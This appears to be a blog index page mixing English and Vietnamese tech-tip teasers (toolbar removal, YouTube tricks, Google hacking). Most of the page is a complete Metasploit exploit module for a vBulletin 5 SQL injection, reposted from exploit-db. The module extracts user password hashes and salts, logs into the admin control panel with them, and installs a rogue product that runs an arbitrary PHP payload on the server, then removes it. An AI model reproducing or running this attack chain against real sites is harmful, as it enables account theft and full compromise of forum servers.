Free Toolbar Cleaner & Remover Tools for your browsers

We have already seen how to manually uninstall some toolbars which may have got installed on your Internet Explorer, Chrome, Firefox, Opera or other browsers. While in most cases it may be possible to uninstall them via the Control Panel or the respective browsers’ Add-ons Manager, in some cases, it may not be possible and you may have to use some tools to remove such persistent toolbars.

Some toolbars which are difficult to remove are Ask toolbar, Babylon toolbar, AVG SecureSearch, SiteSafety, MyFree toolbar, C duit toolbar, ZXY toolbar, Anonymization toolbar, GameNext toolbar, MPire toolbar, MyWebSearch toolbar, NetCraft toolbar, People Search toolbar, Public Record toolbar, Zango toolbar, Elite toolbar, etc. The list is endless, with many wanting to push toolbars for various reasons. It could be for making money with every install, for pushing pop-ups or for tracking down your computer usage.

READ MORE »

Hướng dẫn thay đổi tên Bộ vi xử lý của bạn

Sử dụng thủ thuật này có thể thay đổi tên bộ vi xử lý của chúng ta và làm cho bạn bè ngạc nhiên. Ví dụ chúng ta có thể thay đổi tên bộ vi xử lý từ i3 lên i7 hoặc bất cứ tên nào bạn muốn. Vậy thực hiện điều đó như thế nào?

Chú ý: Thủ thuật này chỉ dành cho mục đích học hỏi.

READ MORE »

vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability found in vBulletin 5 that has
        been used in the wild since March 2013. This module uses the sqli to extract the
        web application's usernames and hashes. With the retrieved information tries to
        log into the admin control panel in order to deploy the PHP payload. This module
        has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu
        Linux distribution.
      },
      'Author'         =>
        [
          'Orestis Kourides', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-3522' ],
          [ 'OSVDB', '92031' ],
          [ 'EDB', '24882' ],
          [ 'BID', '58754' ],
          [ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ]
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 10000 # Just value big enough to fit any php payload
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'vBulletin 5.0.0 Beta 11-28', { }]],
      'DisclosureDate' => 'Mar 25 2013',
      'DefaultTarget'  => 0))
 
    register_options(
      [
        OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']),
        OptInt.new("NODE", [false, 'Valid Node ID']),
        OptInt.new("MINNODE", [true, 'Valid Node ID', 1]),
        OptInt.new("MAXNODE", [true, 'Valid Node ID', 100])
      ], self.class)
  end
 
  def exists_node?(id)
    mark = rand_text_alpha(8 + rand(5))
    result = do_sqli(id, "select '#{mark}'")
 
    if result and result =~ /#{mark}/
      return true
    end
 
    return false
  end
 
  def brute_force_node
    min = datastore["MINNODE"]
    max = datastore["MAXNODE"]
 
    if min > max
      print_error("#{peer} - MINNODE can't be major than MAXNODE")
      return nil
    end
 
    for node_id in min..max
      if exists_node?(node_id)
        return node_id
      end
    end
 
    return nil
  end
 
  def get_node
    if datastore['NODE'].nil? or datastore['NODE'] <= 0
      print_status("#{peer} - Brute forcing to find a valid node id...")
      return brute_force_node
    end
 
    print_status("#{peer} - Checking node id #{datastore['NODE']}...")
    if exists_node?(datastore['NODE'])
      return datastore['NODE']
    else
      return nil
    end
  end
 
  def do_sqli(node, query)
    mark = Rex::Text.rand_text_alpha(5 + rand(3))
    random_and = Rex::Text.rand_text_numeric(4)
    injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) "
    injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) "
    injection << "AND (#{random_and}=#{random_and}"
 
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"),
      'vars_post' =>
        {
          'nodeid'  => "#{node}#{injection}",
        }
      })
 
    unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/
      return nil
    end
 
    data = ""
 
    if res.body.to_s =~ /#{mark}(.*)#{mark}/
      data = $1
    end
 
    return data
  end
 
  def get_user_data(node_id, user_id)
    user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}")
    pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}")
    salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}")
 
    return [user, pass, salt]
  end
 
  def do_login(user, hash)
    res = send_request_cgi({
      'uri'           => normalize_uri(target_uri.path, "login.php"),
      'method'        => 'POST',
      'encode_params' => false,
      'vars_get'      => {
        'do' => 'login'
      },
      'vars_post'     => {
        'url'                      => '%2Fadmincp%2F',
        'securitytoken'            => 'guest',
        'logintype'                => 'cplogin',
        'do'                       => 'login',
        'vb_login_md5password'     => hash,
        'vb_login_md5password_utf' => hash,
        'vb_login_username'        => user,
        'vb_login_password'        => '',
        'cssprefs'                 => ''
      }
    })
 
    if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie']
      session = res.get_cookies
    else
      return nil
    end
 
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, "admincp", "/"),
      'cookie' => session
    })
 
    if res and res.code == 200 and res.body and res.body.to_s =~ /<title>Forums Admin Control Panel<\/title>/
      return session
    else
      return nil
    end
 
  end
 
  def get_token(response)
    token_info = {
      :session_hash => "",
      :security_token => "",
      :admin_hash => ""
    }
 
    if response =~ /var SESSIONHASH = "([0-9a-f]+)";/
      token_info[:session_hash] = $1
    end
 
    if response =~ /var ADMINHASH = "([0-9a-f]+)";/
      token_info[:admin_hash] = $1
    end
 
    if response =~ /var SECURITYTOKEN = "([0-9a-f\-]+)";/
      token_info[:security_token] = $1
    end
 
    return token_info
  end
 
  def get_install_token
    res = send_request_cgi({
      "uri"      => normalize_uri(target_uri.path, "admincp", "product.php"),
      "vars_get" => {
        "do" => "productadd"
      },
      "cookie"   => @session
    })
 
    unless res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/
      return nil
    end
 
 
    return get_token(res.body.to_s)
  end
 
  def install_product(token_info)
 
    xml_product = <<-EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
 
<product productid="#{@product_id}" active="0">
  <title>#{@product_id}</title>
  <description>#{@product_id}</description>
  <version>1.0</version>
  <url>http://#{@product_id}.loc</url>
  <versioncheckurl>http://#{@product_id}.loc/version.xml</versioncheckurl>
  <dependencies>
    <dependency dependencytype="vbulletin" minversion="" maxversion="" />
  </dependencies>
  <codes>
    <code version="*">
      <installcode>
        <![CDATA[
        #{payload.encoded}
        ]]>
      </installcode>
      <uninstallcode />
    </code>
  </codes>
  <templates>
  </templates>
  <stylevardfns>
  </stylevardfns>
  <stylevars>
  </stylevars>
  <hooks>
  </hooks>
  <phrases>
  </phrases>
  <options>
  </options>
  <helptopics>
  </helptopics>
  <cronentries>
  </cronentries>
  <faqentries>
  </faqentries>
  <widgets>
  </widgets>
</product>
    EOF
 
    post_data = Rex::MIME::Message.new
    post_data.add_part(token_info[:session_hash], nil, nil, "form-data; name=\"s\"")
    post_data.add_part("productimport", nil, nil, "form-data; name=\"do\"")
    post_data.add_part(token_info[:admin_hash], nil, nil, "form-data; name=\"adminhash\"")
    post_data.add_part(token_info[:security_token], nil, nil, "form-data; name=\"securitytoken\"")
    post_data.add_part(xml_product, "text/xml", nil, "form-data; name=\"productfile\"; filename=\"product_juan2.xml\"")
    post_data.add_part("", nil, nil, "form-data; name=\"serverfile\"")
    post_data.add_part("1", nil, nil, "form-data; name=\"allowoverwrite\"")
    post_data.add_part("999999999", nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
 
    # Work around an incompatible MIME implementation
    data = post_data.to_s
    data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part")
 
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
      'method'   => "POST",
      'ctype'    => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie'   => @session,
      'vars_get' => {
        "do" => "productimport"
      },
      'data'     => data
    })
 
    if res and res.code == 200 and res.body and res.body.to_s =~ /Product #{@product_id} Imported/
      return true
    elsif res
      fail_with(Failure::Unknown, "#{peer} - Error when trying to install the product.")
    else
      return false
    end
 
  end
 
  def get_delete_token
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
      'cookie'   => @session,
      'vars_get' => {
        "do" => "productdelete",
        "productid" => @product_id,
        "s" => @session_hash
      }
    })
 
    if res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/
      return get_token(res.body.to_s)
    end
 
    return nil
  end
 
  def delete_product(token_info)
    res = send_request_cgi({
      'uri'      => normalize_uri(target_uri.path, "admincp", "product.php"),
      'method'   => "POST",
      'cookie'   => @session,
      'vars_get' => {
        "do" => "productkill"
      },
      'vars_post' => {
        "s"             => token_info[:session_hash],
        "do"            => "productkill",
        "adminhash"     => token_info[:admin_hash],
        "securitytoken" => token_info[:security_token],
        "productid"     => @product_id
      }
    })
 
    if res and res.code == 200 and res.body.to_s =~ /Product #{@product_id} Uninstalled/
      return true
    end
 
    return false
  end
 
  def check
    node_id = get_node
 
    unless node_id.nil?
      return Msf::Exploit::CheckCode::Vulnerable
    end
 
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "index.php")
    })
 
    if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/
      return Msf::Exploit::CheckCode::Detected
    end
 
    return Msf::Exploit::CheckCode::Unknown
  end
 
  def on_new_session(session)
    print_status("#{peer} - Getting the uninstall token info...")
    delete_token = get_delete_token
    if delete_token.nil?
      print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")
      return
    end
 
    print_status("#{peer} - Deleting the product #{@product_id}...")
    if delete_product(delete_token)
      print_good("#{peer} - Product #{@product_id} deleted")
    else
      print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")
    end
  end
 
  def exploit
    print_status("#{peer} - Checking for a valid node id...")
    node_id = get_node
    if node_id.nil?
      print_error("#{peer} - node id not found")
      return
    end
 
    print_good("#{peer} - Using node id #{node_id} to exploit sqli... Counting users...")
    data = do_sqli(node_id, "select count(*) from user")
    if data.empty?
      print_error("#{peer} - Error exploiting sqli")
      return
    end
    count_users = data.to_i
    users = []
    print_good("#{peer} - #{count_users} users found")
 
    for i in 0..count_users - 1
      user = get_user_data(node_id, i)
      report_auth_info({
        :host => rhost,
        :port => rport,
        :user => user[0],
        :pass => user[1],
        :type => "hash",
        :sname => (ssl ? "https" : "http"),
        :proof => "salt: #{user[2]}" # Using proof to store the hash salt
      })
      users << user
    end
 
    @session = nil
    users.each do |user|
      print_status("#{peer} - Trying to log into vBulletin admin control panel as #{user[0]}...")
      @session = do_login(user[0], user[1])
      unless @session.blank?
        print_good("#{peer} - Logged in successfully as #{user[0]}")
        break
      end
    end
 
    if @session.blank?
      fail_with(Failure::NoAccess, "#{peer} - Failed to log into the vBulletin admin control panel")
    end
 
    print_status("#{peer} - Getting the install product security token...")
    install_token = get_install_token
    if install_token.nil?
      fail_with(Failure::Unknown, "#{peer} - Failed to get the install token")
    end
 
    @session_hash = install_token[:session_hash]
    @product_id = rand_text_alpha_lower(5 + rand(8))
    print_status("#{peer} - Installing the malicious product #{@product_id}...")
    if install_product(install_token)
      print_good("#{peer} - Product successfully installed... payload should be executed...")
    else
      # Two situations trigger this path:
      # 1) Upload failed but there wasn't answer from the server. I don't think it's going to happen often.
      # 2) New session, for exemple when using php/meterpreter/reverse_tcp, the common situation.
      # Because of that fail_with isn't used here.
      return
    end
 
    print_status("#{peer} - Getting the uninstall token info...")
    delete_token = get_delete_token
    if delete_token.nil?
      print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...")
      return
    end
 
    print_status("#{peer} - Deleting the product #{@product_id}...")
    if delete_product(delete_token)
      print_good("#{peer} - Product #{@product_id} deleted")
    else
      print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...")
    end
 
  end
 
 
end

Nguồn: http://www.exploit-db.com/exploits/30212/

READ MORE »

Những thủ thuật Youtube thú vị bạn phải biết

Không ngạc nhiên khi tất cả chúng ta đều rất quen thuộc với cái tên Youtube. Đây là kênh Video trực tuyến lớn nhất trên thế giới. Bất cứ khi nào bạn muốn xem bất kì video âm nhạc nào mới phát hành, chương trình yêu thích mà bạn bỏ lỡ trên TV, thể thao trực tiếp, những video hài hước, những thủ thuật thú vị, video công nghệ và nhiều hơn thế nữa có sẵn bất cứ khi nào trên Youtube.

 

Đó là những lý do để chúng ta phụ thuộc vào Youtube cho nhiều mục đích khác nhau nhưng ngoài ra nó có rất nhiều thủ thuật mà có thể mang lại cho bạn một cách tốt hơn và hiệu quả hơn để sử dụng YouTube. Vì vậy, ở đây tôi sẽ chia sẻ một số thủ thuật Youtube thú vị và rất hữu ích với bạn.

READ MORE »

The Beginning Of The Web Pages And Google Hacking

ABSTRACT

The evolution of technology has reached a point that necessitated the emergence of communication protocols, there was then the spread of the HTTP protocol and the HTML language initially, in the early 90s, the web pages have become a major means of communication between users, governments, institutions and professionals.

The "HyperText Transfer Protocol" is a protocol application responsible for handling requests and responses between "client and server" in the "World Wide Web", came up with the purpose of distributing information over the Internet, also to communicate between computers and specifications would be performed as transactions between clients and servers, through the use of rules.

READ MORE »